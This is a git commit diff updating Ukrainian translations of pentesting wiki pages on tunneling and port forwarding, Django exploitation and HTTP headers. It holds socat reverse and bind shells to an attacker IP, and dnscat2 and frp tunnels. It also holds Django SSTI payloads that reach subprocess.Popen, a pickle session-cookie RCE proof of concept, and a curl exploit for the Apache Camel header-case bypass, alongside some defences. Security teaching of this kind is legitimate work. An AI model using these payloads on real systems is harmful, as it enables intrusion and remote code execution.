Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src

This commit is contained in:
Translator 2025-07-10 22:09:58 +00:00
parent 658b85de35
commit d41419c158
3 changed files with 133 additions and 31 deletions

View File

@ -55,7 +55,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### Зворотне перенаправлення портів
### Зворотне Портове Перенаправлення
Це корисно для отримання зворотних шелів з внутрішніх хостів через DMZ до вашого хоста:
```bash
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
> [!NOTE]
> **Безпека Атака Terrapin (CVE-2023-48795)**
> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні втручатися в ранній SSH-рукопожаття та впроваджувати дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені ( **OpenSSH ≥ 9.6/LibreSSH 6.7** ) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH-тунелі. citeturn4search0
> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні втручатися в ранній SSH-рукопожаття та впроваджувати дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені (**OpenSSH ≥ 9.6/LibreSSH 6.7**) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH-тунелі.
## SSHUTTLE
Ви можете **тунелювати** через **ssh** весь **трафік** до **підмережі** через хост.\
Наприклад, перенаправлення всього трафіку, що йде до 10.10.10.0/24
Наприклад, перенаправляючи весь трафік, що йде до 10.10.10.0/24
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
@ -108,7 +108,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
### Port2Port
Локальний порт --> Скомпрометований хост (активна сесія) --> Третій_бокс:Порт
Локальний порт --> Скомпрометований хост (активна сесія) --> Третій_комп'ютер:Порт
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
@ -149,18 +149,18 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
> [!WARNING]
> У цьому випадку **порт відкритий на хості маяка**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт
> У цьому випадку **порт відкритий на хості-мітці**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
Зверніть увагу:
- Зворотний портовий переадресатор Beacon призначений для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
- Зворотний портовий переказ Beacon призначений для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
- Трафік **тунелюється в межах C2 трафіку Beacon**, включаючи P2P посилання.
- **Привілеї адміністратора не потрібні** для створення зворотних портових переадресаторів на високих портах.
- **Привілеї адміністратора не потрібні** для створення зворотних портових переказів на високих портах.
### rPort2Port локальний
### rPort2Port локально
> [!WARNING]
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server) і звідти до вказаного хоста:порту.
@ -267,7 +267,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
```
### Реверс-шелл
### Зворотний шелл
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
@ -326,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
Це як консольна версія PuTTY (опції дуже схожі на клієнт ssh).
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш сервіс ssh і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш ssh сервіс і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@ -358,7 +358,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Тепер ми можемо **підключитися** до **жертви** через **RDP** за допомогою **`mstsc.exe`**, і ми повинні отримати **підказку**, що **плагін SocksOverRDP увімкнено**, і він буде **прослуховувати** на **127.0.0.1:1080**.
Тепер ми можемо **підключитися** до **жертви** через **RDP** за допомогою **`mstsc.exe`**, і ми повинні отримати **підказку**, що **плагін SocksOverRDP увімкнено**, і він буде **слухати** на **127.0.0.1:1080**.
**Підключіться** через **RDP** та завантажте і виконайте на машині жертви бінарний файл `SocksOverRDP-Server.exe`:
```
@ -434,7 +434,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
```
#### **У PowerShell**
Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у powershell:
Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у PowerShell:
```
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
@ -515,12 +515,12 @@ _Також можливо додати аутентифікацію та TLS,
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### Sniffing HTTP calls
#### Перехоплення HTTP викликів
_Корисно для XSS, SSRF, SSTI ..._\
Безпосередньо з stdout або в HTTP інтерфейсі [http://127.0.0.1:4040](http://127.0.0.1:4000).
#### Tunneling internal HTTP service
#### Тунелювання внутрішнього HTTP сервісу
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
@ -574,11 +574,11 @@ url: http://127.0.0.1:8000
```bash
cloudflared tunnel run mytunnel
```
Оскільки весь трафік виходить з хоста **вихідний через 443**, тунелі Cloudflared є простим способом обійти вхідні ACL або межі NAT. Зверніть увагу, що бінарний файл зазвичай працює з підвищеними привілеями використовуйте контейнери або прапор `--user`, коли це можливо. citeturn1search0
Оскільки весь трафік виходить з хоста **вихідний через 443**, тунелі Cloudflared є простим способом обійти вхідні ACL або межі NAT. Зверніть увагу, що бінарний файл зазвичай працює з підвищеними привілеями використовуйте контейнери або прапорець `--user`, коли це можливо.
## FRP (Швидкий зворотний проксі)
[`frp`](https://github.com/fatedier/frp) це активно підтримуваний зворотний проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-hole-punching**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH додатковий бінарний файл не потрібен.
[`frp`](https://github.com/fatedier/frp) є активно підтримуваним зворотним проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-пробивання**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH додатковий бінарний файл не потрібен.
### Класичний зворотний TCP тунель
```bash
@ -599,7 +599,7 @@ localIP = "127.0.0.1"
localPort = 3389
remotePort = 5000
```
### Використання нового SSH шлюзу (без бінарного frpc)
### Використання нового SSH шлюзу (без frpc бінарного файлу)
```bash
# On frps (attacker)
sshTunnelGateway.bindPort = 2200 # add to frps.toml
@ -608,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
# On victim (OpenSSH client only)
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
```
Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів ідеально для живого використання ресурсів. citeturn2search1
Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів ідеально для живого використання ресурсів.
## Інші інструменти для перевірки

View File

@ -9,4 +9,71 @@
Цей звіт HackerOne надає чудовий, відтворювальний приклад експлуатації кешу Django, збереженого в базі даних SQLite: https://hackerone.com/reports/1415436
---
## Впровадження шаблонів на стороні сервера (SSTI)
Мова шаблонів Django (DTL) є **тюрінг-повною**. Якщо дані, надані користувачем, відображаються як *рядок шаблону* (наприклад, викликом `Template(user_input).render()` або коли `|safe`/`format_html()` видаляє автоматичне екранування), зловмисник може досягти повного SSTI → RCE.
### Виявлення
1. Шукайте динамічні виклики до `Template()` / `Engine.from_string()` / `render_to_string()`, які включають *будь-які* неочищені дані запиту.
2. Надішліть навантаження на основі часу або арифметики:
```django
{{7*7}}
```
Якщо відображений вихід містить `49`, введення компілюється шаблонним двигуном.
### Примітив до RCE
Django блокує прямий доступ до `__import__`, але об'єктна графіка Python доступна:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
Знайдіть індекс `subprocess.Popen` (≈400500 в залежності від збірки Python) та виконайте довільні команди:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
Більш безпечний універсальний гаджет - це ітерація до `cls.__name__ == 'Popen'`.
Той же гаджет працює для **Debug Toolbar** або **Django-CMS** функцій рендерингу шаблонів, які неправильно обробляють введення користувача.
---
## RCE на основі сесійного куки з Pickle
Якщо налаштування `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` увімкнено (або користувацький серіалізатор, який десеріалізує pickle), Django *розшифровує та розпаковує* сесійний куки **перед** викликом будь-якого коду представлення. Тому наявність дійсного ключа підпису (за замовчуванням `SECRET_KEY` проекту) є достатньою для негайного віддаленого виконання коду.
### Вимоги до експлуатації
* Сервер використовує `PickleSerializer`.
* Зловмисник знає / може вгадати `settings.SECRET_KEY` (витоки через GitHub, `.env`, сторінки помилок тощо).
### Доказ концепції
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Надішліть отримане cookie, і корисне навантаження виконується з правами WSGI worker.
**Заходи захисту**: Залишайте за замовчуванням `JSONSerializer`, змінюйте `SECRET_KEY` та налаштовуйте `SESSION_COOKIE_HTTPONLY`.
---
## Останні (2023-2025) критичні CVE Django, які повинні перевірити пентестери
* **CVE-2025-48432** *Введення журналу через неекранований `request.path`* (виправлено 4 червня 2025 року). Дозволяє зловмисникам підсовувати нові рядки/ANSI коди в журнали та отруювати подальший аналіз журналів. Рівень патчу ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Критичне SQL-введення* в `QuerySet.values()/values_list()` на `JSONField` (CVSS 9.8). Створіть JSON ключі, щоб вийти з цитування та виконати довільний SQL. Виправлено в 4.2.15 / 5.0.8.
Завжди визначайте точну версію фреймворку через сторінку помилки `X-Frame-Options` або хеш `/static/admin/css/base.css` та тестуйте вищезазначене, де це можливо.
---
## Посилання
* Випуск безпеки Django "Django 5.2.2, 5.1.10, 4.2.22 вирішують CVE-2025-48432" 4 червня 2025 року.
* OP-Innovate: "Django випускає оновлення безпеки для усунення вразливості SQL-введення CVE-2024-42005" 11 серпня 2024 року.
{{#include /banners/hacktricks-training.md}}

View File

@ -57,7 +57,7 @@
**Заголовки кешу сервера**:
- **`X-Cache`** у відповіді може мати значення **`miss`**, коли запит не кешувався, і значення **`hit`**, коли він кешується
- Схоже поводження в заголовку **`Cf-Cache-Status`**
- Схоже поводження у заголовку **`Cf-Cache-Status`**
- **`Cache-Control`** вказує, чи ресурс кешується, і коли буде наступний раз кешуватися: `Cache-Control: public, max-age=1800`
- **`Vary`** часто використовується у відповіді для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключованими.
- **`Age`** визначає час у секундах, протягом якого об'єкт перебував у кеші проксі.
@ -76,30 +76,30 @@
## Умови
- Запити, що використовують ці заголовки: **`If-Modified-Since`** та **`If-Unmodified-Since`** отримають відповідь з даними лише якщо заголовок відповіді **`Last-Modified`** містить інший час.
- Запити, що використовують ці заголовки: **`If-Modified-Since`** та **`If-Unmodified-Since`** отримають відповідь з даними лише у разі, якщо заголовок відповіді **`Last-Modified`** містить інший час.
- Умовні запити, що використовують **`If-Match`** та **`If-None-Match`**, використовують значення Etag, тому веб-сервер надішле вміст відповіді, якщо дані (Etag) змінилися. `Etag` береться з HTTP-відповіді.
- Значення **Etag** зазвичай **обчислюється** на основі **вмісту** відповіді. Наприклад, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` вказує, що `Etag` є **Sha1** з **37 байтів**.
## Запити діапазону
- **`Accept-Ranges`**: Вказує, чи підтримує сервер запити діапазону, і якщо так, в якій одиниці може бути виражений діапазон. `Accept-Ranges: <range-unit>`
- **`Range`**: Вказує частину документа, яку сервер повинен повернути. Наприклад, `Range:80-100` поверне байти з 80 по 100 оригінальної відповіді зі статус-кодом 206 Partial Content. Також пам'ятайте про видалення заголовка `Accept-Encoding` з запиту.
- Це може бути корисно для отримання відповіді з довільним відображеним JavaScript-кодом, який інакше міг би бути втечений. Але для зловживання цим вам потрібно буде вставити ці заголовки в запит.
- **`If-Range`**: Створює умовний запит діапазону, який виконується лише якщо вказаний etag або дата збігаються з віддаленим ресурсом. Використовується для запобігання завантаженню двох діапазонів з несумісних версій ресурсу.
- **`Range`**: Вказує частину документа, яку сервер повинен повернути. Наприклад, `Range:80-100` поверне байти з 80 по 100 оригінальної відповіді зі статус-кодом 206 Partial Content. Також пам'ятайте, щоб видалити заголовок `Accept-Encoding` з запиту.
- Це може бути корисно для отримання відповіді з довільним відображеним кодом javascript, який інакше міг би бути втечений. Але для зловживання цим вам потрібно буде вставити ці заголовки в запит.
- **`If-Range`**: Створює умовний запит діапазону, який виконується лише у разі, якщо вказаний etag або дата збігаються з віддаленим ресурсом. Використовується для запобігання завантаженню двох діапазонів з несумісних версій ресурсу.
- **`Content-Range`**: Вказує, де в повному тілі повідомлення належить часткове повідомлення.
## Інформація про тіло повідомлення
- **`Content-Length`:** Розмір ресурсу в десяткових байтах.
- **`Content-Length`:** Розмір ресурсу, у десятковому числі байтів.
- **`Content-Type`**: Вказує медіа-тип ресурсу
- **`Content-Encoding`**: Використовується для вказівки алгоритму стиснення.
- **`Content-Language`**: Описує людську мову(и), призначену для аудиторії, щоб дозволити користувачу відрізняти відповідно до власної переважної мови.
- **`Content-Location`**: Вказує альтернативне місце для повернених даних.
- **`Content-Language`**: Описує людську мову(и), призначену для аудиторії, щоб дозволити користувачу відрізняти відповідно до власної переваги мови.
- **`Content-Location`**: Вказує альтернативне місцезнаходження для повернених даних.
З точки зору пентесту ця інформація зазвичай "марна", але якщо ресурс **захищений** 401 або 403 і ви можете знайти якийсь **спосіб** отримати цю **інформацію**, це може бути **цікаво.**\
З точки зору pentest ця інформація зазвичай "марна", але якщо ресурс **захищений** 401 або 403 і ви можете знайти якийсь **спосіб** отримати цю **інформацію**, це може бути **цікаво.**\
Наприклад, комбінація **`Range`** та **`Etag`** у запиті HEAD може витікати вміст сторінки через запити HEAD:
- Запит з заголовком `Range: bytes=20-20` і з відповіддю, що містить `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`, витікає, що SHA1 байта 20 є `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
- Запит з заголовком `Range: bytes=20-20` і з відповіддю, що містить `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` витікає, що SHA1 байта 20 є `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
## Інформація про сервер
@ -109,7 +109,7 @@
## Контролі
- **`Allow`**: Цей заголовок використовується для спілкування HTTP-методів, які ресурс може обробляти. Наприклад, він може бути вказаний як `Allow: GET, POST, HEAD`, що вказує, що ресурс підтримує ці методи.
- **`Expect`**: Використовується клієнтом для передачі очікувань, які сервер повинен виконати для успішної обробки запиту. Загальний випадок використання включає заголовок `Expect: 100-continue`, який сигналізує, що клієнт має намір надіслати великий обсяг даних. Клієнт чекає на відповідь `100 (Continue)` перед продовженням передачі. Цей механізм допомагає оптимізувати використання мережі, чекаючи підтвердження від сервера.
- **`Expect`**: Використовується клієнтом для передачі очікувань, які сервер повинен виконати, щоб запит був успішно оброблений. Загальний випадок використання включає заголовок `Expect: 100-continue`, який сигналізує, що клієнт має намір надіслати великий обсяг даних. Клієнт чекає на відповідь `100 (Continue)` перед продовженням передачі. Цей механізм допомагає оптимізувати використання мережі, чекаючи підтвердження від сервера.
## Завантаження
@ -148,13 +148,13 @@ el.innerHTML = escaped // Results in safe assignment.
```
### **X-Content-Type-Options**
Цей заголовок запобігає визначенню типу MIME, практика, яка може призвести до вразливостей XSS. Він забезпечує, щоб браузери поважали типи MIME, вказані сервером.
Цей заголовок запобігає визначенню типу MIME, що може призвести до вразливостей XSS. Він забезпечує, щоб браузери поважали типи MIME, вказані сервером.
```
X-Content-Type-Options: nosniff
```
### **X-Frame-Options**
Щоб боротися з clickjacking, цей заголовок обмежує, як документи можуть бути вбудовані в `<frame>`, `<iframe>`, `<embed>`, або `<object>` теги, рекомендує всім документам явно вказувати свої дозволи на вбудовування.
Щоб боротися з clickjacking, цей заголовок обмежує, як документи можуть бути вбудовані в `<frame>`, `<iframe>`, `<embed>`, або `<object>` теги, рекомендується всім документам явно вказувати свої дозволи на вбудовування.
```
X-Frame-Options: DENY
```
@ -179,8 +179,43 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
```
Strict-Transport-Security: max-age=3153600
```
## Header Name Casing Bypass
HTTP/1.1 визначає імена полів заголовків як **незалежні від регістру** (RFC 9110 §5.1). Проте, дуже часто можна зустріти кастомні проміжні програми, фільтри безпеки або бізнес-логіку, які порівнюють *літерне* ім'я заголовка, отримане без попередньої нормалізації регістру (наприклад, `header.equals("CamelExecCommandExecutable")`). Якщо ці перевірки виконуються **чутливо до регістру**, зловмисник може обійти їх, просто надіславши той же заголовок з іншим написанням.
Типові ситуації, в яких виникає ця помилка:
* Кастомні списки дозволів/заборон, які намагаються блокувати “небезпечні” внутрішні заголовки до того, як запит досягне чутливого компонента.
* Внутрішні реалізації псевдозаголовків зворотного проксі (наприклад, санітизація `X-Forwarded-For`).
* Фреймворки, які відкривають кінцеві точки управління / налагодження і покладаються на імена заголовків для аутентифікації або вибору команд.
### Abusing the bypass
1. Визначте заголовок, який фільтрується або перевіряється на стороні сервера (наприклад, читаючи вихідний код, документацію або повідомлення про помилки).
2. Надішліть **той же заголовок з іншим регістром** (змішаний регістр або верхній регістр). Оскільки стекі HTTP зазвичай канонізують заголовки лише *після* виконання коду користувача, вразливу перевірку можна пропустити.
3. Якщо нижній компонент обробляє заголовки незалежно від регістру (більшість так роблять), він прийме значення, контрольоване зловмисником.
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
У вразливих версіях Apache Camel маршрути *Command Center* намагаються блокувати ненадійні запити, видаляючи заголовки `CamelExecCommandExecutable` та `CamelExecCommandArgs`. Порівняння виконувалося за допомогою `equals()`, тому були видалені лише точні імена в нижньому регістрі.
```bash
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
```
Заголовки досягають компонента `exec` без фільтрації, що призводить до віддаленого виконання команд з привілеями процесу Camel.
### Виявлення та пом'якшення
* Нормалізуйте всі назви заголовків до єдиного регістру (зазвичай малими літерами) **перед** виконанням порівнянь дозволу/заборони.
* Відхиляйте підозрілі дублі: якщо присутні обидва `Header:` і `HeAdEr:`, розглядайте це як аномалію.
* Використовуйте позитивний список дозволів, що застосовується **після** канонізації.
* Захищайте управлінські кінцеві точки за допомогою аутентифікації та сегментації мережі.
## Посилання
- [CVE-2025-27636 RCE в Apache Camel через обхід регістру заголовків (блог OffSec)](https://www.offsec.com/blog/cve-2025-27636/)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
- [https://web.dev/security-headers/](https://web.dev/security-headers/)